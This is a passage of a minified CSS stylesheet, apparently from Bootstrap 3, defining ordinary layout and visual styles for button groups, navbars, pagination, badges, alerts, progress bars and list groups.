.dropdown-toggle{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-group.open .dropdown-toggle.btn-link{-webkit-box-shadow:none;box-shadow:none}.btn .caret{margin-left:0}.btn-group-lg>.btn .caret,.btn-lg .caret{border-width:5px 5px 0}.dropup .btn-group-lg>.btn .caret,.dropup .btn-lg .caret{border-width:0 5px 5px}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group,.btn-group-vertical>.btn-group>.btn{display:block;float:none;width:100%;max-width:100%}.btn-group-vertical>.btn-group:after,.btn-group-vertical>.btn-group:before{display:table;content:" "}.btn-group-vertical>.btn-group:after{clear:both}.btn-group-vertical>.btn-group>.btn{float:none}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn:not(:first-child):not(:last-child){border-radius:0}.btn-group-vertical>.btn:first-child:not(:last-child){border-top-left-radius:4px;border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:last-child:not(:first-child){border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}.btn-group-vertical>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group-vertical>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group-vertical>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-top-right-radius:0}.btn-group-justified{display:table;width:100%;table-layout:fixed;border-collapse:separate}.btn-group-justified>.btn,.btn-group-justified>.btn-group{display:table-cell;float:none;width:1%}.btn-group-justified>.btn-group .btn{width:100%}.btn-group-justified>.btn-group .dropdown-menu{left:auto}[data-toggle=buttons]>.btn-group>.btn input[type=checkbox],[data-toggle=buttons]>.btn-group>.btn input[type=radio],[data-toggle=buttons]>.btn input[type=checkbox],[data-toggle=buttons]>.btn input[type=radio]{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.input-group{position:relative;display:table;border-collapse:separate}.input-group[class*=col-]{float:none;padding-right:0;padding-left:0}.input-group .form-control{position:relative;z-index:2;float:left;width:100%;margin-bottom:0}.input-group .form-control:focus{z-index:3}.input-group-addon,.input-group-btn,.input-group .form-control{display:table-cell}.input-group-addon:not(:first-child):not(:last-child),.input-group-btn:not(:first-child):not(:last-child),.input-group .form-control:not(:first-child):not(:last-child){border-radius:0}.input-group-addon,.input-group-btn{width:1%;white-space:nowrap;vertical-align:middle}.input-group-addon{padding:6px 12px;font-size:14px;font-weight:400;line-height:1;color:#555;text-align:center;background-color:#eee;border:1px solid #ccc;border-radius:4px}.input-group-addon.input-sm,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.input-group-addon.btn{padding:5px 10px;font-size:12px;border-radius:3px}.input-group-addon.input-lg,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.input-group-addon.btn{padding:10px 16px;font-size:18px;border-radius:6px}.input-group-addon input[type=checkbox],.input-group-addon input[type=radio]{margin-top:0}.input-group-addon:first-child,.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group>.btn,.input-group-btn:first-child>.dropdown-toggle,.input-group-btn:last-child>.btn-group:not(:last-child)>.btn,.input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group .form-control:first-child{border-top-right-radius:0;border-bottom-right-radius:0}.input-group-addon:first-child{border-right:0}.input-group-addon:last-child,.input-group-btn:first-child>.btn-group:not(:first-child)>.btn,.input-group-btn:first-child>.btn:not(:first-child),.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group>.btn,.input-group-btn:last-child>.dropdown-toggle,.input-group .form-control:last-child{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-addon:last-child{border-left:0}.input-group-btn{font-size:0;white-space:nowrap}.input-group-btn,.input-group-btn>.btn{position:relative}.input-group-btn>.btn+.btn{margin-left:-1px}.input-group-btn>.btn:active,.input-group-btn>.btn:focus,.input-group-btn>.btn:hover{z-index:2}.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group{margin-right:-1px}.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group{z-index:2;margin-left:-1px}.nav{padding-left:0;margin-bottom:0;list-style:none}.nav:after,.nav:before{display:table;content:" "}.nav:after{clear:both}.nav>li,.nav>li>a{position:relative;display:block}.nav>li>a{padding:10px 15px}.nav>li>a:focus,.nav>li>a:hover{text-decoration:none;background-color:#eee}.nav>li.disabled>a{color:#777}.nav>li.disabled>a:focus,.nav>li.disabled>a:hover{color:#777;text-decoration:none;cursor:not-allowed;background-color:transparent}.nav .open>a,.nav .open>a:focus,.nav .open>a:hover{background-color:#eee;border-color:#337ab7}.nav .nav-divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.nav>li>a>img{max-width:none}.nav-tabs{border-bottom:1px solid #ddd}.nav-tabs>li{float:left;margin-bottom:-1px}.nav-tabs>li>a{margin-right:2px;line-height:1.42857;border:1px solid transparent;border-radius:4px 4px 0 0}.nav-tabs>li>a:hover{border-color:#eee #eee #ddd}.nav-tabs>li.active>a,.nav-tabs>li.active>a:focus,.nav-tabs>li.active>a:hover{color:#555;cursor:default;background-color:#fff;border:1px solid;border-color:#ddd #ddd transparent}.nav-pills>li{float:left}.nav-pills>li>a{border-radius:4px}.nav-pills>li+li{margin-left:2px}.nav-pills>li.active>a,.nav-pills>li.active>a:focus,.nav-pills>li.active>a:hover{color:#fff;background-color:#337ab7}.nav-stacked>li{float:none}.nav-stacked>li+li{margin-top:2px;margin-left:0}.nav-justified,.nav-tabs.nav-justified{width:100%}.nav-justified>li,.nav-tabs.nav-justified>li{float:none}.nav-justified>li>a,.nav-tabs.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-justified>li,.nav-tabs.nav-justified>li{display:table-cell;width:1%}.nav-justified>li>a,.nav-tabs.nav-justified>li>a{margin-bottom:0}}.nav-tabs-justified,.nav-tabs.nav-justified{border-bottom:0}.nav-tabs-justified>li>a,.nav-tabs.nav-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:focus,.nav-tabs-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:hover{border:1px solid #ddd}@media (min-width:768px){.nav-tabs-justified>li>a,.nav-tabs.nav-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:focus,.nav-tabs-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:hover{border-bottom-color:#fff}}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.navbar{position:relative;min-height:50px;margin-bottom:20px;border:1px solid transparent}.navbar:after,.navbar:before{display:table;content:" "}.navbar:after{clear:both}@media (min-width:768px){.navbar{border-radius:4px}}.navbar-header:after,.navbar-header:before{display:table;content:" "}.navbar-header:after{clear:both}@media (min-width:768px){.navbar-header{float:left}}.navbar-collapse{padding-right:15px;padding-left:15px;overflow-x:visible;border-top:1px solid transparent;box-shadow:inset 0 1px 0 hsla(0,0%,100%,.1);-webkit-overflow-scrolling:touch}.navbar-collapse:after,.navbar-collapse:before{display:table;content:" "}.navbar-collapse:after{clear:both}.navbar-collapse.in{overflow-y:auto}@media (min-width:768px){.navbar-collapse{width:auto;border-top:0;box-shadow:none}.navbar-collapse.collapse{display:block!important;height:auto!important;padding-bottom:0;overflow:visible!important}.navbar-collapse.in{overflow-y:visible}.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse,.navbar-static-top .navbar-collapse{padding-right:0;padding-left:0}}.navbar-fixed-bottom,.navbar-fixed-top{position:fixed;right:0;left:0;z-index:1030}.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse{max-height:340px}@media (max-device-width:480px) and (orientation:landscape){.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse{max-height:200px}}@media (min-width:768px){.navbar-fixed-bottom,.navbar-fixed-top{border-radius:0}}.navbar-fixed-top{top:0;border-width:0 0 1px}.navbar-fixed-bottom{bottom:0;margin-bottom:0;border-width:1px 0 0}.container-fluid>.navbar-collapse,.container-fluid>.navbar-header,.container>.navbar-collapse,.container>.navbar-header{margin-right:-15px;margin-left:-15px}@media (min-width:768px){.container-fluid>.navbar-collapse,.container-fluid>.navbar-header,.container>.navbar-collapse,.container>.navbar-header{margin-right:0;margin-left:0}}.navbar-static-top{z-index:1000;border-width:0 0 1px}@media (min-width:768px){.navbar-static-top{border-radius:0}}.navbar-brand{float:left;height:50px;padding:15px;font-size:18px;line-height:20px}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-brand>img{display:block}@media (min-width:768px){.navbar>.container-fluid .navbar-brand,.navbar>.container .navbar-brand{margin-left:-15px}}.navbar-toggle{position:relative;float:right;padding:9px 10px;margin-right:15px;margin-top:8px;margin-bottom:8px;background-color:transparent;background-image:none;border:1px solid transparent;border-radius:4px}.navbar-toggle:focus{outline:0}.navbar-toggle .icon-bar{display:block;width:22px;height:2px;border-radius:1px}.navbar-toggle .icon-bar+.icon-bar{margin-top:4px}@media (min-width:768px){.navbar-toggle{display:none}}.navbar-nav{margin:7.5px -15px}.navbar-nav>li>a{padding-top:10px;padding-bottom:10px;line-height:20px}@media (max-width:767px){.navbar-nav .open .dropdown-menu{position:static;float:none;width:auto;margin-top:0;background-color:transparent;border:0;box-shadow:none}.navbar-nav .open .dropdown-menu .dropdown-header,.navbar-nav .open .dropdown-menu>li>a{padding:5px 15px 5px 25px}.navbar-nav .open .dropdown-menu>li>a{line-height:20px}.navbar-nav .open .dropdown-menu>li>a:focus,.navbar-nav .open .dropdown-menu>li>a:hover{background-image:none}}@media (min-width:768px){.navbar-nav{float:left;margin:0}.navbar-nav>li{float:left}.navbar-nav>li>a{padding-top:15px;padding-bottom:15px}}.navbar-form{padding:10px 15px;border-top:1px solid transparent;border-bottom:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 hsla(0,0%,100%,.1),0 1px 0 hsla(0,0%,100%,.1);box-shadow:inset 0 1px 0 hsla(0,0%,100%,.1),0 1px 0 hsla(0,0%,100%,.1);margin:8px -15px}@media (min-width:768px){.navbar-form .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.navbar-form .form-control{display:inline-block;width:auto;vertical-align:middle}.navbar-form .form-control-static{display:inline-block}.navbar-form .input-group{display:inline-table;vertical-align:middle}.navbar-form .input-group .form-control,.navbar-form .input-group .input-group-addon,.navbar-form .input-group .input-group-btn{width:auto}.navbar-form .input-group>.form-control{width:100%}.navbar-form .control-label{margin-bottom:0;vertical-align:middle}.navbar-form .checkbox,.navbar-form .radio{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.navbar-form .checkbox label,.navbar-form .radio label{padding-left:0}.navbar-form .checkbox input[type=checkbox],.navbar-form .radio input[type=radio]{position:relative;margin-left:0}.navbar-form .has-feedback .form-control-feedback{top:0}}@media (max-width:767px){.navbar-form .form-group{margin-bottom:5px}.navbar-form .form-group:last-child{margin-bottom:0}}@media (min-width:768px){.navbar-form{width:auto;padding-top:0;padding-bottom:0;margin-right:0;margin-left:0;border:0;-webkit-box-shadow:none;box-shadow:none}}.navbar-nav>li>.dropdown-menu{margin-top:0;border-top-left-radius:0;border-top-right-radius:0}.navbar-fixed-bottom .navbar-nav>li>.dropdown-menu{margin-bottom:0;border-top-left-radius:4px;border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.navbar-btn{margin-top:8px;margin-bottom:8px}.btn-group-sm>.navbar-btn.btn,.navbar-btn.btn-sm{margin-top:10px;margin-bottom:10px}.btn-group-xs>.navbar-btn.btn,.navbar-btn.btn-xs{margin-top:14px;margin-bottom:14px}.navbar-text{margin-top:15px;margin-bottom:15px}@media (min-width:768px){.navbar-text{float:left;margin-right:15px;margin-left:15px}}@media (min-width:768px){.navbar-left{float:left!important}.navbar-right{float:right!important;margin-right:-15px}.navbar-right~.navbar-right{margin-right:0}}.navbar-default{background-color:#f8f8f8;border-color:#e7e7e7}.navbar-default .navbar-brand{color:#777}.navbar-default .navbar-brand:focus,.navbar-default .navbar-brand:hover{color:#5e5e5e;background-color:transparent}.navbar-default .navbar-nav>li>a,.navbar-default .navbar-text{color:#777}.navbar-default .navbar-nav>li>a:focus,.navbar-default .navbar-nav>li>a:hover{color:#333;background-color:transparent}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.active>a:focus,.navbar-default .navbar-nav>.active>a:hover{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav>.disabled>a,.navbar-default .navbar-nav>.disabled>a:focus,.navbar-default .navbar-nav>.disabled>a:hover{color:#ccc;background-color:transparent}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:focus,.navbar-default .navbar-nav>.open>a:hover{color:#555;background-color:#e7e7e7}@media (max-width:767px){.navbar-default .navbar-nav .open .dropdown-menu>li>a{color:#777}.navbar-default .navbar-nav .open .dropdown-menu>li>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>li>a:hover{color:#333;background-color:transparent}.navbar-default .navbar-nav .open .dropdown-menu>.active>a,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:hover{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:hover{color:#ccc;background-color:transparent}}.navbar-default .navbar-toggle{border-color:#ddd}.navbar-default .navbar-toggle:focus,.navbar-default .navbar-toggle:hover{background-color:#ddd}.navbar-default .navbar-toggle .icon-bar{background-color:#888}.navbar-default .navbar-collapse,.navbar-default .navbar-form{border-color:#e7e7e7}.navbar-default .navbar-link{color:#777}.navbar-default .navbar-link:hover{color:#333}.navbar-default .btn-link{color:#777}.navbar-default .btn-link:focus,.navbar-default .btn-link:hover{color:#333}.navbar-default .btn-link[disabled]:focus,.navbar-default .btn-link[disabled]:hover,fieldset[disabled] .navbar-default .btn-link:focus,fieldset[disabled] .navbar-default .btn-link:hover{color:#ccc}.navbar-inverse{background-color:#222;border-color:#090909}.navbar-inverse .navbar-brand{color:#9d9d9d}.navbar-inverse .navbar-brand:focus,.navbar-inverse .navbar-brand:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav>li>a,.navbar-inverse .navbar-text{color:#9d9d9d}.navbar-inverse .navbar-nav>li>a:focus,.navbar-inverse .navbar-nav>li>a:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.active>a:focus,.navbar-inverse .navbar-nav>.active>a:hover{color:#fff;background-color:#090909}.navbar-inverse .navbar-nav>.disabled>a,.navbar-inverse .navbar-nav>.disabled>a:focus,.navbar-inverse .navbar-nav>.disabled>a:hover{color:#444;background-color:transparent}.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.open>a:focus,.navbar-inverse .navbar-nav>.open>a:hover{color:#fff;background-color:#090909}@media (max-width:767px){.navbar-inverse .navbar-nav .open .dropdown-menu>.dropdown-header{border-color:#090909}.navbar-inverse .navbar-nav .open .dropdown-menu .divider{background-color:#090909}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a{color:#9d9d9d}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover{color:#fff;background-color:#090909}.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:hover{color:#444;background-color:transparent}}.navbar-inverse .navbar-toggle{border-color:#333}.navbar-inverse .navbar-toggle:focus,.navbar-inverse .navbar-toggle:hover{background-color:#333}.navbar-inverse .navbar-toggle .icon-bar{background-color:#fff}.navbar-inverse .navbar-collapse,.navbar-inverse .navbar-form{border-color:#101010}.navbar-inverse .navbar-link{color:#9d9d9d}.navbar-inverse .navbar-link:hover{color:#fff}.navbar-inverse .btn-link{color:#9d9d9d}.navbar-inverse .btn-link:focus,.navbar-inverse .btn-link:hover{color:#fff}.navbar-inverse .btn-link[disabled]:focus,.navbar-inverse .btn-link[disabled]:hover,fieldset[disabled] .navbar-inverse .btn-link:focus,fieldset[disabled] .navbar-inverse .btn-link:hover{color:#444}.breadcrumb{padding:8px 15px;margin-bottom:20px;list-style:none;background-color:#f5f5f5;border-radius:4px}.breadcrumb>li{display:inline-block}.breadcrumb>li+li:before{padding:0 5px;color:#ccc;content:"/ "}.breadcrumb>.active{color:#777}.pagination{display:inline-block;padding-left:0;margin:20px 0;border-radius:4px}.pagination>li{display:inline}.pagination>li>a,.pagination>li>span{position:relative;float:left;padding:6px 12px;margin-left:-1px;line-height:1.42857;color:#337ab7;text-decoration:none;background-color:#fff;border:1px solid #ddd}.pagination>li>a:focus,.pagination>li>a:hover,.pagination>li>span:focus,.pagination>li>span:hover{z-index:2;color:#23527c;background-color:#eee;border-color:#ddd}.pagination>li:first-child>a,.pagination>li:first-child>span{margin-left:0;border-top-left-radius:4px;border-bottom-left-radius:4px}.pagination>li:last-child>a,.pagination>li:last-child>span{border-top-right-radius:4px;border-bottom-right-radius:4px}.pagination>.active>a,.pagination>.active>a:focus,.pagination>.active>a:hover,.pagination>.active>span,.pagination>.active>span:focus,.pagination>.active>span:hover{z-index:3;color:#fff;cursor:default;background-color:#337ab7;border-color:#337ab7}.pagination>.disabled>a,.pagination>.disabled>a:focus,.pagination>.disabled>a:hover,.pagination>.disabled>span,.pagination>.disabled>span:focus,.pagination>.disabled>span:hover{color:#777;cursor:not-allowed;background-color:#fff;border-color:#ddd}.pagination-lg>li>a,.pagination-lg>li>span{padding:10px 16px;font-size:18px;line-height:1.33333}.pagination-lg>li:first-child>a,.pagination-lg>li:first-child>span{border-top-left-radius:6px;border-bottom-left-radius:6px}.pagination-lg>li:last-child>a,.pagination-lg>li:last-child>span{border-top-right-radius:6px;border-bottom-right-radius:6px}.pagination-sm>li>a,.pagination-sm>li>span{padding:5px 10px;font-size:12px;line-height:1.5}.pagination-sm>li:first-child>a,.pagination-sm>li:first-child>span{border-top-left-radius:3px;border-bottom-left-radius:3px}.pagination-sm>li:last-child>a,.pagination-sm>li:last-child>span{border-top-right-radius:3px;border-bottom-right-radius:3px}.pager{padding-left:0;margin:20px 0;text-align:center;list-style:none}.pager:after,.pager:before{display:table;content:" "}.pager:after{clear:both}.pager li{display:inline}.pager li>a,.pager li>span{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;border-radius:15px}.pager li>a:focus,.pager li>a:hover{text-decoration:none;background-color:#eee}.pager .next>a,.pager .next>span{float:right}.pager .previous>a,.pager .previous>span{float:left}.pager .disabled>a,.pager .disabled>a:focus,.pager .disabled>a:hover,.pager .disabled>span{color:#777;cursor:not-allowed;background-color:#fff}.label{display:inline;padding:.2em .6em .3em;font-size:75%;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25em}.label:empty{display:none}.btn .label{position:relative;top:-1px}a.label:focus,a.label:hover{color:#fff;text-decoration:none;cursor:pointer}.label-default{background-color:#777}.label-default[href]:focus,.label-default[href]:hover{background-color:#5e5e5e}.label-primary{background-color:#337ab7}.label-primary[href]:focus,.label-primary[href]:hover{background-color:#286090}.label-success{background-color:#5cb85c}.label-success[href]:focus,.label-success[href]:hover{background-color:#449d44}.label-info{background-color:#5bc0de}.label-info[href]:focus,.label-info[href]:hover{background-color:#31b0d5}.label-warning{background-color:#f0ad4e}.label-warning[href]:focus,.label-warning[href]:hover{background-color:#ec971f}.label-danger{background-color:#d9534f}.label-danger[href]:focus,.label-danger[href]:hover{background-color:#c9302c}.badge{display:inline-block;min-width:10px;padding:3px 7px;font-size:12px;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:middle;background-color:#777;border-radius:10px}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.btn-group-xs>.btn .badge,.btn-xs .badge{top:0;padding:1px 5px}.list-group-item.active>.badge,.nav-pills>.active>a>.badge{color:#337ab7;background-color:#fff}.list-group-item>.badge{float:right}.list-group-item>.badge+.badge{margin-right:5px}.nav-pills>li>a>.badge{margin-left:3px}a.badge:focus,a.badge:hover{color:#fff;text-decoration:none;cursor:pointer}.jumbotron{padding-top:30px;padding-bottom:30px;margin-bottom:30px;background-color:#eee}.jumbotron,.jumbotron .h1,.jumbotron h1{color:inherit}.jumbotron p{margin-bottom:15px;font-size:21px;font-weight:200}.jumbotron>hr{border-top-color:#d5d5d5}.container-fluid .jumbotron,.container .jumbotron{padding-right:15px;padding-left:15px;border-radius:6px}.jumbotron .container{max-width:100%}@media screen and (min-width:768px){.jumbotron{padding-top:48px;padding-bottom:48px}.container-fluid .jumbotron,.container .jumbotron{padding-right:60px;padding-left:60px}.jumbotron .h1,.jumbotron h1{font-size:63px}}.thumbnail{display:block;padding:4px;margin-bottom:20px;line-height:1.42857;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:border .2s ease-in-out;-o-transition:border .2s ease-in-out;transition:border .2s ease-in-out}.thumbnail>img,.thumbnail a>img{display:block;max-width:100%;height:auto;margin-right:auto;margin-left:auto}.thumbnail .caption{padding:9px;color:#333}a.thumbnail.active,a.thumbnail:focus,a.thumbnail:hover{border-color:#337ab7}.alert{padding:15px;margin-bottom:20px;border:1px solid transparent;border-radius:4px}.alert h4{margin-top:0;color:inherit}.alert .alert-link{font-weight:700}.alert>p,.alert>ul{margin-bottom:0}.alert>p+p{margin-top:5px}.alert-dismissable,.alert-dismissible{padding-right:35px}.alert-dismissable .close,.alert-dismissible .close{position:relative;top:-2px;right:-21px;color:inherit}.alert-success{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.alert-success hr{border-top-color:#c9e2b3}.alert-success .alert-link{color:#2b542c}.alert-info{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.alert-info hr{border-top-color:#a6e1ec}.alert-info .alert-link{color:#245269}.alert-warning{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.alert-warning hr{border-top-color:#f7e1b5}.alert-warning .alert-link{color:#66512c}.alert-danger{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.alert-danger hr{border-top-color:#e4b9c0}.alert-danger .alert-link{color:#843534}@-webkit-keyframes progress-bar-stripes{0%{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{0%{background-position:40px 0}to{background-position:0 0}}.progress{height:20px;margin-bottom:20px;overflow:hidden;background-color:#f5f5f5;border-radius:4px;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.1);box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.progress-bar{float:left;width:0;height:100%;font-size:12px;line-height:20px;color:#fff;text-align:center;background-color:#337ab7;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);-webkit-transition:width .6s ease;-o-transition:width .6s ease;transition:width .6s ease}.progress-bar-striped,.progress-striped .progress-bar{background-image:-webkit-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-image:-o-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 25%,transparent 50%,hsla(0,0%,100%,.15) 50%,hsla(0,0%,100%,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-size:40px 40px}.progress-bar.active,.progress.active .progress-bar{-webkit-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.progress-bar-success{background-color:#5cb85c}.progress-striped .progress-bar-success{background-image:-webkit-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-image:-o-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 25%,transparent 50%,hsla(0,0%,100%,.15) 50%,hsla(0,0%,100%,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent)}.progress-bar-info{background-color:#5bc0de}.progress-striped .progress-bar-info{background-image:-webkit-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-image:-o-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 25%,transparent 50%,hsla(0,0%,100%,.15) 50%,hsla(0,0%,100%,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent)}.progress-bar-warning{background-color:#f0ad4e}.progress-striped .progress-bar-warning{background-image:-webkit-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-image:-o-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 25%,transparent 50%,hsla(0,0%,100%,.15) 50%,hsla(0,0%,100%,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent)}.progress-bar-danger{background-color:#d9534f}.progress-striped .progress-bar-danger{background-image:-webkit-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-image:-o-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 25%,transparent 50%,hsla(0,0%,100%,.15) 50%,hsla(0,0%,100%,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent)}.media{margin-top:15px}.media:first-child{margin-top:0}.media,.media-body{overflow:hidden;zoom:1}.media-body{width:10000px}.media-object{display:block}.media-object.img-thumbnail{max-width:none}.media-right,.media>.pull-right{padding-left:10px}.media-left,.media>.pull-left{padding-right:10px}.media-body,.media-left,.media-right{display:table-cell;vertical-align:top}.media-middle{vertical-align:middle}.media-bottom{vertical-align:bottom}.media-heading{margin-top:0;margin-bottom:5px}.media-list{padding-left:0;list-style:none}.list-group{padding-left:0;margin-bottom:20px}.list-group-item{position:relative;display:block;padding:10px 15px;margin-bottom:-1px;background-color:#fff;border:1px solid #ddd}.list-group-item:first-child{border-top-left-radius:4px;border-top-right-radius:4px}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}.list-group-item.disabled,.list-group-item.disabled:focus,.list-group-item.disabled:hover{color:#777;cursor:not-allowed;background-color:#eee}.list-group-item.disabled .list-group-item-heading,.list-group-item.disabled:focus .list-group-item-heading,.list-group-item.disabled:hover .list-group-item-heading{color:inherit}.list-group-item.disabled .list-group-item-text,.list-group-item.disabled:focus .list-group-item-text,.list-group-item.disabled:hover .list-group-item-text{color:#777}.list-group-item.active,.list-group-item.active:focus,.list-group-item.active:hover{z-index:2;color:#fff;background-color:#337ab7;border-color:#337ab7}.list-group-item.active .list-group-item-heading,.list-group-item.active .list-group-item-heading>.small,.list-group-item.active .list-group-item-heading>small,.list-group-item.active:focus .list-group-item-heading,.list-group-item.active:focus .list-group-item-heading>.small,.list-group-item.active:focus .list-group-item-heading>small,.list-group-item.active:hover .list-group-item-heading,.list-group-item.active:hover .list-group-item-heading>.small,.list-group-item.active:hover .list-group-item-heading>small{color:inherit}.list-group-item.active .list-group-item-text,.list-group-item.active:focus .list-group-item-text,.list-group-item.active:hover .list-group-item-text{color:#c7ddef}a.list-group-item,button.list-group-item{color:#555}a.list-group-item .list-group-item-heading,button.list-group-item .list-group-item-heading{color:#333}a.list-group-item:focus,a.list-group-item:hover,button.list-group-item:focus,button.list-group-item:hover{color:#555;text-decoration:none;background-color:#f5f5f5}button.list-group-item{width:100%;text-align:left}.list-group-item-success{color:#3c763d;background-color:#dff0d8}a.list-group-item-success,button.list-group-item-success{color:#3c763d}a.list-group-item-success 